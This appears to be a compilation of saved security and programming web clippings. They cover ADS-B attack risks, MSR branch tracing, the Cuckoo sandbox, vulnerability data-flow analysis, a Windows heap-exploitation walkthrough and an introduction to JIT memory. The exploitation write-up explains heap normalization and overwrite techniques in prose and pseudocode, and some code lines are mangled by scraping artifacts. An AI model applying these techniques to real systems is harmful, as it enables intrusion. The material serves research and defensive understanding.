**Network Support Utilities** \(top\)

  

##### DNS Query Utility \(dqu\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| dqu32.v.0.17.win.zip| dqu64.v.0.17.win.zip| md5/sha1  
| **Linux:**| dqu32.v.0.17.lin.tar.gz\*| dqu64.v.0.17.lin.tar.gz| md5/sha1  
| **Mac OS X:**| dqu.v.0.17.osx.tar.gz| dqu.v.0.17.osx.tar.gz| md5/sha1  
##### Packet Capture ICMP Carver \(pic\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| pic32.v.0.08.win.zip| pic64.v.0.08.win.zip| md5/sha1  
| **Linux:**| pic32.v.0.08.lin.tar.gz\*| pic64.v.0.08.lin.tar.gz| md5/sha1  
| **Mac OS X:**|  Not Available| Not Available|  
##### Network Xfer Client/Server Utility \(nx\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| nx32.v.0.11.win.zip| nx64.v.0.11.win.zip| md5/sha1  
| **Linux:**| nx32.v.0.11.lin.tar.gz\*| nx64.v.0.11.lin.tar.gz| md5/sha1  
| **Mac OS X:**| nx.v.0.11.osx.tar.gz| nx.v.0.11.osx.tar.gz| md5/sha1  
* * *
  
**Portable Executable Utilities** \(top\)

  

##### Windows Portable Executable Viewer \(pe\_view\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| pe\_view32.v.0.88.win.zip| pe\_view64.v.0.88.win.zip| md5/sha1  
| **Linux:**| pe\_view32.v.0.88.lin.tar.gz\*| pe\_view64.v.0.88.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| pe\_view.v.0.88.osx.tar.gz| pe\_view.v.0.88.osx.tar.gz|
md5/sha1  
##### Portable Executable Scanner \(pescan\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| pescan32.v.0.20.win.zip| pescan64.v.0.20.win.zip| md5/sha1  
| **Linux:**| pescan32.v.0.20.lin.tar.gz\*| pescan64.v.0.20.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| pescan.v.0.20.osx.tar.gz| pescan.v.0.20.osx.tar.gz| md5/sha1  
* * *
  
**Miscellaneous Tools** \(top\)

  

##### Windows Symbol Fetch Utility \(sf\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| sf32.v.0.28.win.zip| sf64.v.0.28.win.zip| md5/sha1  
| **Linux:**|  Not Available| Not Available|  
| **Mac OS X:**|  Not Available| Not Available

# Air traffic system vulnerable to cyber attack - tech - 12 September 2011 -
New Scientist

**Created:**| _9/13/2011 10:30:32 PM_  
---|---  
**Updated:**| _9/14/2011 9:12:40 AM_  
**Author:**| __  
**Tags:**| _automation opinion_  
  

#  Air traffic system vulnerable to cyber attack

  * 12 September 2011 by **Paul Marks**
  * Magazine issue 2829. **Subscribe and save**

_A next-generation global air traffic control system is vulnerable to
malicious hacks that could cause catastrophe_

AN ALARM blares in the cockpit mid flight, warning the pilot of an imminent
collision. The pilot checks his tracking display, sees an incoming aircraft
and sends the plane into a dive. That only takes it into another crowded air
lane, however, where it collides with a different plane. Investigators later
discover that the pilot was running from a "ghost" \- a phantom aircraft
created by a hacker intent on wreaking havoc in the skies.

It's a fictional scenario, but US air force analysts warn that it could be
played out if hackers exploit security holes in an increasingly common air
traffic control technology.

At issue is a technology called Automatic Dependent Surveillance - Broadcast
\(ADS-B\), which the International Civil Aviation Organisation certified for
use in 2002. Gradually being deployed worldwide, ADS-B improves upon the
radar-based systems that air traffic controllers and pilots rely on to find
out the location and velocity of aircraft in their vicinity.

Conventional ground-based radar systems are expensive to run, become less
accurate at determining position the further away a plane is, and are slow to
calculate an aircraft's speed. Perhaps worst of all, their limited range means
they cannot track planes over the ocean.

So instead of bouncing radar signals off aircraft, ADS-B uses GPS signals to
continuously broadcast a plane's identity, ground position, altitude and
velocity to networks of ground stations and other nearby aircraft. This way,
everyone knows where everyone else is.

ADS-B transmits information in unencrypted 112-bit bursts - a measure intended
to make the system simple and cheap to implement. It's this that researchers
from the US air force's Institute of Technology at Wright-Patterson Air Force
Base in Ohio are unhappy with. Donald McCallie, Jonathan Butts and Robert
Mills warn that the unencrypted signals could be intercepted and spoofed by
hackers, or simply jammed.

The team says the vulnerabilities it has identified "could have disastrous
consequences including confusion, aircraft groundings, even plane crashes if
exploited by adversaries" \(_International Journal of Critical Infrastructure
Protection_ , DOI: 10.1016/j.ijcip.2011.06.001\).

One attack they label "low difficulty" is a "ground station flood denial":
jamming an ADS-B ground receiver mast \(like a cellphone mast\) by placing a
low-power radio transmitter near it. That effectively blinds controllers to
where planes are.

Tougher to carry out is a "ghost aircraft injection". This attack mimics the
format of ADS-B data packets to create fake aircraft signals, either on the
ground controller's screen or on the pilot's tracking display.

"We're aware of the research undertaken by the US air force and have been
working for some time with UK and European authorities and agencies to
understand and mitigate the issues," says Brendan Kelly, policy chief at
National Air Traffic Services in the UK.

But the Federal Aviation Administration, which wants ADS-B fully operational
across the US by 2020, says tests it completed in 2009 show ADS-B has no risks
over and above those presented by existing radar systems. "The FAA has a
thorough risk management process for all possible risks to ADS-B, including
intentional jamming," says a spokesman.

McCallie's team is not convinced, and has asked to see the FAA's test data -
which the agency has so far refused to make public, citing security concerns.
The team accepts that such concerns are warranted, but insist that additional
safeguards must be introduced into ADS-B. Specifically, they say ways to
authenticate messages between planes and ground control ought to be explored.
"Security as an afterthought will not suffice," they write.

# OpenRCE

**Created:**| _9/3/2009 10:01:16 AM_  
---|---  
**Updated:**| _9/3/2009 10:01:26 AM_  
**Author:**| __  
**Tags:**| _reversing intel msr_  
  
**Branch Tracing with Intel MSR Registers****Author: **pedram <img
src='img/Temp2_5894.gif' />| **\# Views: **9246  
---|---  
The ability to "trace" code is rather useful and can be leveraged to ease the
burden of a number of tasks ranging from standard issue debugging to
vulnerability hunting to malware analysis and more. Debuggers such as OllyDbg
implement code tracing via conventional single stepping. This is easily
accomplished in a debugger by setting the appropriate EFlag bit in the thread
context you wish to single step \(Python Win32 example\):

`  
context = self.get_thread_context(thread_handle)  
context.EFlags |= EFLAGS_TRAP  
self.set_thread_context(context, thread_handle=thread_handle)  
`

One by one, as instructions are executed the debugger is trapped with an
EXCEPTION\_SINGLE\_STEP event. In the case of OllyDbg, various register states
are stored and execution is continued. For those of you who haven't used this
feature before, believe me when I say that it's **painfully** slow on medium
to large chunks of code. This was one of my main motivations behind creating
the PaiMei Process Stalker module. Process Stalker improves code tracing speed
by monitoring execution of basic blocks as opposed to individual instructions.
What exactly does this mean? Sequences of assembly instructions can be broken
down into "basic blocks". Basic blocks can be grouped together to form
Control-Flow Graphs \(CFGs\). These are familiar terms but for those of you
who don't know it, consider the following example deadlisting:

  

<img src='img/Temp2_5895.gif' />

  

This straight sequence can be broken into basic blocks which are defined as
sub-sequences of instructions where each instruction within the block is
guaranteed to be run, in order, once the first instruction of the basic block
is reached. The strict definition for basic blocks differs here and there, for
example you may or may not want to consider a CALL instruction the end of a
basic block \(depending on whether you care to take the effort to determine if
that CALL is guaranteed to return\). You get the general idea though. Here is
that same sequence broken down into a CFG:

  

<img src='img/Temp2_5896.gif' />

  

Instead of tracing code at the instruction level, Process Stalker traces code
at a higher level by setting and monitoring breakpoints at the head of every
basic block. Since every instruction within a block is guaranteed to be
executed once the block is reached, there is no need to trace any further into
the block. Improving code trace speed using the basic block method is not a
novel idea, \[http://www.sabre-security.com/\]SABRE Securities\[/url\]
commercial product Bin Navi utilizies the same technique. Even more creative
mechanisms for improving trace speed have been developed as well: See Matt
Conover's project list at http://www.cybertech.net/~sh0ksh0k/projects/ as well
as the recent blog entry and tool announce from McAfee at UMSS: Efficient
Single Stepping on Win32.

  

There are downfalls to all of these shortcuts howevever. The creative ones can
get quite complicated and the basic block method requires that the target
binary is pre-analyzed to determine the location of all the basic blocks. To
successfully enumerate basic blocks you must first correctly differentiate
between code and data within an individual binary. This is harder said then
done which is why both Process Stalker and Bin Navi really on IDA Pro's
analysis. This is a drag because not only does it introduce significant steps
to setup the trace but IDA can make mistakes that can botch the entire trace.
An improved version of basic block tracing is desired.

  

Some time ago I was flipping through the IA-32 Intel Architecture Softwre
Developer's Manual Volume 3 when I came across the following information in
section 15.5 \(page 515, specific to the provided link\):

`  
The MSR_DEBUGCTLA MSR enables and disables the various last branch recording
mechanisms  
described in the previous section. This register can be written to using the
WRMSR  
instruction, when operating at privilege level 0 or when in real-address mode.
A protected-mode  
operating system procedure is required to provide user access to this
register. Figure 15-4 shows  
the flags in the MSR_DEBUGCTLA MSR. The functions of these flags are as
follows:  
...  
BTF (single-step on branches) flag (bit 1)  
When set, the processor treats the TF flag in the EFLAGS register as a
"singlestep  
on branches" flag rather than a "single-step on instructions" flag. This  
mechanism allows single-stepping the processor on taken branches, interrupts,  
and exceptions. See Section 15.5.4., "Single-Stepping on Branches, Exceptions,  
and Interrupts" for more information about the BTF flag.  
`

According to the documentation, the behaviour of single step can be altered
through a flag in one of the Model Specific Registers \(MSRs\). So I threw
some PyDbg based Python code together to test this out. First, I implemented a
conventional single step tracer:tracer\_single\_step.py. Next, I modified that
tracer with the appropriate MSR setting code: tracer\_msr\_branch.py. Ran them
both and to my pleasant surprise it worked like a charm. Try them for
yourself. Attach to and interact with calculator with the single step tracer
then try it again with the MSR tracer, the speed difference is quite notable.
Implementing the MSR tracer required almost minimal changes. First, some
definitions:

`  
SysDbgReadMsr = 16  
SysDbgWriteMsr = 17  
  
ULONG = c_ulong  
ULONGLONG = c_ulonglong  
  
class SYSDBG_MSR(Structure):  
_fields_ = [  
("Address", ULONG),  
("Data", ULONGLONG),  
]  
  
def write_msr():  
msr = SYSDBG_MSR()  
msr.Address = 0x1D9  
msr.Data = 2  
status = windll.ntdll.NtSystemDebugControl(SysDbgWriteMsr,  
byref(msr),  
sizeof(SYSDBG_MSR),  
0,  
0,  
0);  
`

The write\_msr\(\) routine defined above utilizes the NtSystemDebugControl\(\)
Windows native API \(special thanks to Alex Ionescu for his help with this\)
to set the appropriate MSR values specific to my Pentium M processor. Your
mileage may vary with those values, check the Intel manual for the appropriate
numbers. Next, all you have to do is follow every call to single\_step\(\)
with a call to write\_msr\(\):

`  
# re-raise the single step flag on every block.  
def handler_single_step (dbg):  
...  
dbg.single_step(True)  
write_msr()  
return DBG_CONTINUE  
  
# ensure every new thread starts in single step mode.  
def handler_new_thread (dbg):  
dbg.single_step(True)  
write_msr()  
return DBG_CONTINUE  
`

I'll be adding MSR routines to PyDbg in a future release and will also release
a new version of Process Stalker that does not require any pre-analysis to
accomplish its code tracing... When I find the time to do all that I may
expand this blog entry with further details and examples into a full blown
article.

  

**Caveat Emptor** : It appears that you can kill your CPU if you carelessly
fool around with MSRs. So there, I said it, be warned.

# cuckoo - Übersicht - code.mwcollect.org

**Created:**| _2/17/2011 4:57:17 PM_  
---|---  
**Updated:**| _2/17/2011 4:57:31 PM_  
**Author:**| __  
**Tags:**| _automation Malware-analysis_  
  

## Übersicht

**cuckoo** is a very simple automated malware analysis sandbox, started during
Google Summer of Code 2010 and released now under GPL. It has been designed
and developed to allow users to get a ready-to-use and customizable sandbox
environment.

The GIT repository can be pulled from fromhttp://git.mwcollect.org/cuckoo.git/

### Current Features

  * Retrieve files from remote URLs and analyze them.
  * Trace relevant API calls for behavioral analysis.
  * Recursively monitor newly spawned processes.
  * Dump generated network traffic.
  * Run concurrent analysis on multiple machines.
  * Support custom analysis package based on AutoIt3 scripting.
  * Intercept downloaded and deleted files.
  * Take screenshots during runtime.

### Mailing List

The Honeynet Project kindly provided a public mailing list for users and
developers to discuss about the project. You can subscribe at:  
https://public.honeynet.org/mailman/listinfo/cuckoo

# Vulnerability analysis, practical data flow analysis and visualization -
Microsoft Malware Protection Center - Site Home - TechNet Blogs

**Created:**| _3/24/2012 11:20:12 AM_  
---|---  
**Updated:**| _3/24/2012 11:20:12 AM_  
**Author:**| __  
**Tags:**| _reversing Graphs dataflow_  
  

### Vulnerability analysis, practical data flow analysis and visualization

msft-mmpc

23 Mar 2012 12:35 PM

Recently at CanSecWest 2012, we presented on the technology we use for
analyzing malicious samples and PoC files. As malware often actively attempts
to exploit software vulnerabilities these days, understanding the internals of
these vulnerabilities is essential when writing defense logic.

Out of the many methods that can be used for vulnerability analysis, we
presented a method that uses dynamic binary instrumentation and data flow
analysis. Dynamic binary instrumentation and data flow analysis are fancy
concepts, and they can be a little bit difficult to apply to real world cases.

We showed a case where we used data flow analysis for a simple integer
overflow vulnerability. By showing the result in a more visualized way, it
helped us to understand the vulnerability. But the real issue we raised was
how to use these technologies in more complicated cases, for example, for
analyzing an uninitialized memory access vulnerability. We used CVE-2011-2462
\(a vulnerability in Adobe Reader and Acrobat - this issue was addressed by
Adobe and you can find more information here\) as an example to show how to
trace back to the root cause of the vulnerability using these techniques.
\(**Note:** the Adobe Reader X Protected Mode and Acrobat X Protected View
mitigations \(the Reader X and Acrobat X sandboxes\) would prevent exploits of
this vulnerability from executing – this is an exercise in analyzing a
vulnerability not an exploit.\)

The vulnerability is a little bit complicated, as the data flow does not show
the whole picture of the connection between the user data and the crash point.

<img src='img/Temp2_9020.png' width='300' alt='Data flow analysis for crash
case' />

**Figure 1 Data flow analysis for crash case**

We performed data flow analysis on the data related to the crash point. As you
can see from the above picture, we can clearly see that the data source used
in the crash point comes from an area of freed memory. As the execution order
is from bottom to top, the free operation is performed first - the data is
passed to Adobe Reader and is used for operations later which leads to an
uninitialized memory issue.

<img src='img/Temp2_9023.png' alt='Data flow analysis for normal case' />

**Figure 2 Data flow analysis for normal case**

The above data flow graph is from a good sample file which hits the same area
of the code as the crash case. But in this case, we can see that the data
comes from an allocated area using malloc API.

<img src='img/Temp2_9022.png' alt='Crash case and normal case' />

**Figure 3 Crash case and normal case**

By performing data differential analysis between the crash case and the normal
case, we can pinpoint the exact instruction that is responsible for the
diversion of data flow. The following table shows the difference in the
instruction that makes the data flow diversion and you can see that "_mov
dword ptr \[ecx+ebx\*4h\], eax_ " is the key instruction that makes the
difference.

<img src='img/Temp2_9026.png' alt='Crash case and normal case' />

**Figure 4 Crash case and normal case**

So we start control flow differential analysis from that specific key
instruction.

<img src='img/Temp2_9024.png' alt='Key instruction from data flow differential
analysis' />

**Figure 5 Key instruction from data flow differential analysis**

The following graph shows the control flow differential analysis result.

<img src='img/Temp2_9025.png' alt='Control flow differential analysis result'
/>

**Figure 6 Control flow differential analysis result**

From the graph above, we can see that the instruction at 10009E72 basic block
\(in red\) is the instruction that determines the fate of the control flow.
The control flow depends on the value of eax register; it is key to creating
the crash condition.

We traced back this  _eax_ value from that instruction point in the crash
case, and got the following graph. Finally we could locate the exact file
location where the  _eax_ comes from. And this eax value controls the
condition for the crash later.

<img src='img/Temp2_9021.png' alt='EAX Control' />

**Figure 7 EAX Control**

So the whole point of this post is that data flow analysis is a good tool for
vulnerability analysis, but it doesn't solve all the real world vulnerability
cases. Real world vulnerabilities are more complicated. So to apply this
technology, you need to introduce more strategies and methods. We showed data
flow differential analysis and control flow differential analysis as examples
that could solve an uninitialized memory access case.

For the full content of the presentation, please visit this page. It should be
available soon.

_Jeong Wook Oh_

# Frequency X Blog

**Created:**| _12/9/2009 11:05:07 PM_  
---|---  
**Updated:**| _12/9/2009 11:05:27 PM_  
**Author:**| __  
**Tags:**| _Exploit report_  
  

## Blackhat Demo Explained

Posted by **Chris Valasek** on December 09, 2009 at 11:08 AM EST.

_Introduction_

As several of you may or may not remember, John McDonald and I did a
presentation this year at BlackHat on Practical Windows Heap Exploitation. In
this presentation we had a video that claimed to show reliable heap
exploitation on Windows Server 2003 lacking a fully controlled environment.
Now that our advisory is published we can finally prove to you that the video
was not fake; explaining the vulnerability and some of our techniques.

  
_Vulnerability_

The code below represents a poor attempt at pseudo code for the vulnerability:

> //some parsing and validation of the request done here  
> //  
> //  
> //  
> num\_of\_strs = ReadDWORD\(\);
> //we assume that they are attempting to account for DWORD  
> //writing \(you know what happens when you assume....\)  
> buffer = malloc\(num\_of\_strs \* 4\);
> while\(num\_of\_strs\) \{
> string str = ReadWString\(\);  //this does a bit of validation  
>  if\(\!str\)  
>  break;
> DWORD intval = \(DWORD\)IntFromStringHash\[str\]; //limited values  
>  if\(\!intval\)  
>  break;
> memcpy\(buffer, intval, 4\);
> size--;  
> \}
As you can see from the code above, the vulnerability is caused by an integer
overflow when multiplying a user supplied integer. The wrapped integer is
subsequently used in an allocation, resulting in an insufficiently sized
buffer. From there the code loops ‘num\_of\_strs’ iterations through the user-
controlled payload attempting to read strings, producing an integer value
based on the string value. This integer is then written to the recently
allocated buffer and the process is repeated. This leads to a condition where
you can write more data to the buffer than was previously allocated.
Unfortunately you do NOT entirely control the contents of that write.

_Exploitation Prerequisites_

We had to overcome quite a few hurdles to successfully exploit this
vulnerability. The first being the ability to normalize the heap, ensuring a
chunk of a known size ended up in the heap cache. The second was overwriting
the  _size _of an adjacent heap chunk with values that would be advantageous
to exploitation. The third was ensuring that this highly multi-threaded
application didn’t use our mangled heap chunks in a legitimate allocation,
hence crashing before we could attempt to fully exploit the service.

_Heap Normalization_

Since eDirectoy is a multi-threaded program that performs many complex
operations we couldn’t just make an allocation followed directly by an
overflow/overwrite. Our research showed that the heap was rarely in a
predictable state.  
<img src='img/Temp2_3299.gif' />  
The diagram above shows that there could be various entries in the heap cache
making it too difficult to reliably predict a chunk size to overwrite. To
remedy this situation we decided to use a series of memory leaks putting the
heap in a more normalized state.

We used a combination of  _soft leaks and hard leaks _\(Waisman 2007\) to
achieve heap normalization. The term  _soft leak _will refer to a chunk of
memory that is allocated by the attacker and freed at a time of the attacker’s
choosing, while a  _hard leak _will refer to a chunk of memory that is
allocated, never to be freed again. While most developers are familiar with
_hard leaks _\(memory leaks\), most people don’t realize  _soft leaks _exist
\(think about memory allocated on a per-connection basis\). While finding
_soft leaks _using a heap profiler was done quite easily, it took some static
analysis to find a sufficient hard leak \(finding a bug, to exploit a bug
:-\)\).

The first step was to allocate a chunk of memory for which we knew the size,
could free at a later time, and would guarantee that, when freed, would not be
coalesced. This was achieved by wrapping our  _soft leak _allocation within
two  _hard leaks _\(some details omitted\):

<img src='img/Temp2_3297.gif' />

The next step was to issue requests that caused  _hard leaks _resulting in a
heap cache that was empty for all buckets less than 8192 bytes \(This isn’t
actually the case. As long as you can ensure that the entries in the cache
won’t interfere with your size-overwrite then it will work\). This gives us
the opportunity to use our  _soft leak _to free a chunk of a known size into
the heap cache. Leaving the heap looking like this:

<img src='img/Temp2_3298.gif' />

_Size Overwrite_

At this point we were actually ready to start the exploitation process. Since
we knew about a chunk in the heap cache and its size, we could then proceed to
issue a request that would be serviced by our recently freed chunk \(on the
heap cache\). We also needed to overwrite the heap metadata for a chunk of a
know size. The way we accomplished this was to issue an allocation for 0x900
bytes, resulting in a  _block split_ that would contain an adjacent chunk of
0x738 bytes:

<img src='img/Temp2_3301.gif' />

This  _block splitting _returned us the chunk of size 0x900 and left chunk of
size 0x738 on the heap cache for overwriting. The difficult part here was
getting an  _intval _returned from the  _IntFromStringHash _table that would
work for exploitation. Remember, we needed to ensure that the value we used to
overwrite the size of 0x738 was large enough to reside in the heap cache,
overwrite the  _flags _so that the block would **not **be coalesced, and was a
value not frequently used in allocations. The following diagram shows what the
block looked like pre-overflow and post-overflow:

<img src='img/Temp2_3300.gif' width='500' height='259' />

Now that we’ve overwritten the  _size _of an entry in the heap cache, there
exists a stale entry. This guarantees us that every time we make a request for
the size we overwrote; we will receive the same address back. From there we
used FreeList Insertion technique \(Moore 2007\) to overwrite a lookaside list
with an address of a function pointer. We had to find a lookaside list that
wasn’t used frequently, or at all, by the application to avoid premature
termination due to heap corruption. After that it was trivial to turn off DEP
and execute code.

_Trials and Tribulations_

After a subpar explanation of all these steps I’d like to discuss what made
exploitation so challenging. A vast majority of our time was spent finding
elegant \(LOL\!\) solutions to heap normalization. This was very important
because we did not have a stable heap due to the nature of the service, as
known heap chunk sizes were not predictable without some massaging. Without
heap normalization, we would have had wildly unreliable exploitation, if any
at all.

The second most challenging portion was overwriting a chunk’s size with a
value we could control. Since this wasn’t your typical heap-overflow we had to
find a string-to-integer-value that, when split, would result in an entry of a
known size residing on the heap cache. On top of having the entry, post-split,
on the heap cache it was also very helpful to have the integer value mark the
_flags _in the adjacent chunk header as NON-Free \(busy or otherwise\).

_Conclusion_

Although the time it took us to reach reliable exploitation neared several
weeks it was worth the effort to prove a few things. Some people would have
called this vulnerability ‘un-exploitable’, which is obviously not the case.
While others would have claimed remote code execution without actually showing
it was possible. X-Force always demands that a working exploit be written for
a code execution bug. This way, we never have to use the term ‘potential code
execution’. Finally we had to prove that the heap cache exploitation
techniques were not just parlor tricks designed for a BlackHat talk, but a
real-world technique that could leverage near impossible exploitation
scenarios into internet victories.

Click here for our Blackhat demo video.

Please feel free to email any questions to:  
cvalasek@us.ibm.com / jrmcdona@us.ibm.com

_References_

> Waisman, Nicolas. 2007. Understanding and bypassing Windows Heap Protection.
> SyScan
> 2007,http://www.immunityinc.com/downloads/Heap\_Singapore\_Jun\_2007.pdf
> Moore, Brett. 2008. Heaps About Heaps. SyScan
> 2008,http://www.insomniasec.com/publications/Heaps\_About\_Heaps.ppt  
>
  

# Eli Bendersky's website » How to JIT – an introduction

**Created:**| _11/6/2013 9:36:26 AM_  
---|---  
**Updated:**| _11/6/2013 9:36:26 AM_  
**Author:**| __  
**Tags:**| _programming JIT compilers_  
  

# How to JIT – an introduction****

November 5th, 2013 at 5:59 am

When I wrote the introductory article for libjit , I aimed it at programmers
who know what JITs are, at least to some extent**.** I did mention what a JIT
is, but only very briefly**.** The purpose of this article is to provide a
better introductory overview of JITing, with code samples that don’t rely on
any libraries**.**

### Defining JIT****

JIT is simply an acronym for "Just In Time"**.** That, in itself, doesn’t help
much – the term is quite cryptic and seems to have little to do with
programming**.** First, let’s define what "a JIT" actually refers to**.** I
find the following way to think about this useful:

> Whenever a program, while running, creates and runs some new executable code
> which was not part of the program when it was stored on disk, it’s a
> JIT**.**
What about the historical usage of the term "JIT", though**?** Luckily, John
Aycock from the University of Calgary has written a very interesting paper
named "A Brief History of Just-In-Time" \(google it, PDFs are available
online\) looking at JIT techniques from a historical point of view**.**
According to Aycock’s paper, the first mention of code generation and
execution during program runtime is apparent as early as McCarthy’s LISP paper
from 1960**.** In later work, such as Thompson’s 1968 regex paper, it was even
more apparent \(regexes are compiled into machine code and executed on the
fly\)**.**

The term JIT was first brought into use in computing literature by James
Gosling for Java**.** Aycock mentions that Gosling has borrowed the term from
the domain of manufacturing  and started using it in the early 1990s**.**

This is as far as I’ll go into history here**.** Read the Aycock paper if
you’re interested in more details**.** Let’s now see what the definition
quoted above means in practice**.**

### JIT – create machine code, then run it****

I think that JIT technology is easier to explain when divided into two
distinct phases:

  * Phase 1: create machine code  at program run-time**.**
  * Phase 2: execute that machine code, also at program run-time**.**

Phase 1 is where 99% of the challenges of JITing are**.** But it’s also the
less mystical part of the process, because this is exactly what a compiler
does**.** Well known compilers like `gcc` and `clang` translate C/C++ source
code into machine code**.** The machine code is emitted into an output stream,
but it could very well be just kept in memory \(and in fact, both `gcc` and
`clang/llvm` have building blocks for keeping the code in memory for JIT
execution\)**.** Phase 2 is what I want to focus on in this article**.**

### Running dynamically-generated code****

Modern operating systems are picky about what they allow a program to do at
runtime**.** The wild-west days of the past came to an end with the advent of
protected mode , which allows an OS to restrict chunks of virtual memory with
various permissions**.** So in "normal" code, you can create new data
dynamically on the heap, but you can’t just run stuff from the heap  without
asking the OS to explicitly allow it**.**

At this point I hope it’s obvious that machine code is just data – a stream of
bytes**.** So, this:

[code]

    unsigned char[] code = {0x48, 0x89, 0xf8};
    
[/code]

Really depends on the eye of the beholder**.** To some, it’s just some data
that could represent anything**.** To others, it’s the binary encoding of
real, valid x86-64 machine code:

[code]

    mov %rdi, %rax
    
[/code]

So getting machine code into memory is easy**.** But how to make it runnable,
and then run it**?**

### Let’s see some code****

The rest of this article contains code samples for a POSIX-compliant Unix OS
\(specifically Linux\)**.** On other OSes \(like Windows\) the code would be
different in the details, but not in spirit**.** All modern OSes have
convenient APIs to implement the same thing**.**

Without further ado, here’s how we dynamically create a function in memory and
execute it**.** The function is intentionally very simple, implementing this C
code:

[code]

    long add4(long num) {
      return num + 4;
    }
    
[/code]

Here’s a first try \(the full code with a Makefile is available in this repo
\):

[code]

    #include <stdio**.** h>
    #include <stdlib**.** h>
    #include <string.h>
    #include <sys/mman**.** h>
    
    
    // Allocates RWX memory of given size and returns a pointer to it**.** On failure,
    // prints out the error and returns NULL**.**
    void* alloc_executable_memory(size_t size) {
      void* ptr = mmap(0, size,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
      if (ptr == (void*)-1) {
        perror("mmap");
        return NULL;
      }
      return ptr;
    }
    
    void emit_code_into_memory(unsigned char* m) {
      unsigned char code[] = {
        0x48, 0x89, 0xf8,                   // mov %rdi, %rax
        0x48, 0x83, 0xc0, 0x28,             // add $4, %rax
        0xc3                                // ret
      };
      memcpy(m, code, sizeof(code));
    }
    
    const size_t SIZE = 1024;
    typedef long (*JittedFunc)(long);
    
    // Allocates RWX memory directly**.**
    void run_from_rwx() {
      void* m = alloc_executable_memory(SIZE);
      emit_code_into_memory(m);
    
      JittedFunc func = m;
      int result = func(2);
      printf("result = %d\n", result);
    }
    
[/code]

The main 3 steps performed by this code are:

  1. Use `mmap` to allocate a readable, writable and executable chunk of memory on the heap**.**
  2. Copy the machine code implementing `add4` into this chunk**.**
  3. Execute code from this chunk by casting it to a function pointer and calling through it**.**

Note that step 3 can only happen because the memory chunk containing the
machine code is _executable_**.** Without setting the right permission, that
call would result in a runtime error from the OS \(most likely a segmentation
fault\)**.** This would happen if, for example, we allocated `m` with a
regular call to `malloc`, which allocates readable and writable, but not
executable memory**.**

### Digression – heap, malloc and mmap****

Diligent readers may have noticed a half-slip I made in the previous section,
by referring to memory returned from `mmap` as "heap memory"**.** Very
strictly speaking, "heap" is a name that designates the memory used by
`malloc`, `free` et**.** al. to manage runtime-allocated memory, as opposed to
"stack" which is managed implicitly by the compiler**.**

That said, it’s not so simple <img src='img/Temp2_2574.gif' alt=':-)' /> While
traditionally \(i**.** e. a long time ago\) `malloc` only used one source for
its memory \(the `sbrk` system call\), these days most malloc implementations
use `mmap` in many cases**.** The details differ between OSes and
implementations, but often `mmap` is used for the large chunks and `sbrk` for
the small chunks**.** The tradeoffs have to do with the relative efficiency of
the two methods of requesting more memory from the OS**.**

So calling memory provided by `mmap` "heap memory" is not a mistake, IMHO, and
that’s what I intend to keep on doing**.**

### Caring more about security****

The code shown above has a problem – it’s a security hole**.** The reason is
the RWX \(Readable, Writable, eXecutable\) chunk of memory it allocates – a
paradise for attacks and exploits**.** So let’s be a bit more responsible
about it**.** Here’s some slightly modified code:

[code]

    // Allocates RW memory of given size and returns a pointer to it**.** On failure,
    // prints out the error and returns NULL**.** Unlike malloc, the memory is allocated
    // on a page boundary so it's suitable for calling mprotect**.**
    void* alloc_writable_memory(size_t size) {
      void* ptr = mmap(0, size,
                       PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
      if (ptr == (void*)-1) {
        perror("mmap");
        return NULL;
      }
      return ptr;
    }
    
    // Sets a RX permission on the given memory, which must be page-aligned**.** Returns
    // 0 on success. On failure, prints out the error and returns -1**.**
    int make_memory_executable(void* m, size_t size) {
      if (mprotect(m, size, PROT_READ | PROT_EXEC) == -1) {
        perror("mprotect");
        return -1;
      }
      return 0;
    }
    
    // Allocates RW memory, emits the code into it and sets it to RX before
    // executing**.**
    void emit_to_rw_run_from_rx() {
      void* m = alloc_writable_memory(SIZE);
      emit_code_into_memory(m);
      make_memory_executable(m, SIZE);
    
      JittedFunc func = m;
      int result = func(2);
      printf("result = %d\n", result);
    }
    
[/code]

It’s equivalent to the earlier snippet in all respects except one: the memory
is first allocated with RW permissions \(just like a normal `malloc` would
do\)**.** This is all we really need to write our machine code into it**.**
When the code is there, we use `mprotect` to change the chunk’s permission
from RW to RX, making it executable but _no longer writable_**.** So the
effect is the same, but at no point in the execution of our program the chunk
is both writable and executable, which is good from a security point of
view**.**

### What about malloc**?**

Could we use `malloc` instead of `mmap` for allocating the chunk in the
previous snippet**?** After all, RW memory is exactly what `malloc`
provides**.** Yes, we could. However, it’s more trouble than it’s worth,
really**.** The reason is that protection bits can only be set on virtual
memory page boundaries**.** Therefore, had we used `malloc` we’d have to
manually ensure that the allocation is aligned at a page boundary**.**
Otherwise, `mprotect` could have unwanted effects from failing to
enabling/disabling more than actually required**.** `mmap` takes care of this
for us by only allocating at page boundaries \(because `mmap`, by design, maps
whole pages\)**.**

### Tying loose ends****

This article started with a high-level overview of what we mean when we say
JIT, and ended with hands-on code snippets that show how to dynamically emit
machine code into memory and execute it**.**

The technique shown here is pretty much how real JIT engines \(e**.** g. LLVM
and libjit\) emit and run executable machine code from memory**.** What
remains is just a "simple" matter of synthesizing that machine code from
something else**.**

LLVM has a full compiler available, so it can actually translate C and C++
code \(through LLVM IR\) to machine code at runtime, and then execute it**.**
libjit picks the ball up at a much lower level – it can serve as a backend for
a compiler**.** In fact, my introductory article on libjit  already
demonstrates how to emit and run non-trivial code with libjit**.** But JITing
is a more general concept. Emitting code at run-time can be done for data
structures , regular expressions  and even accessing C from language VMs **.**
Digging in my blog’s archives helped me find a mention of some JITing I did 8
years ago **.** That was Perl code generating more Perl code at run-time
\(from a XML description of a serialization format\), but the idea is the
same**.**

This is why I felt that splitting the JITing concept into two phases is
important**.** For phase 2 \(which was explained in this article\), the
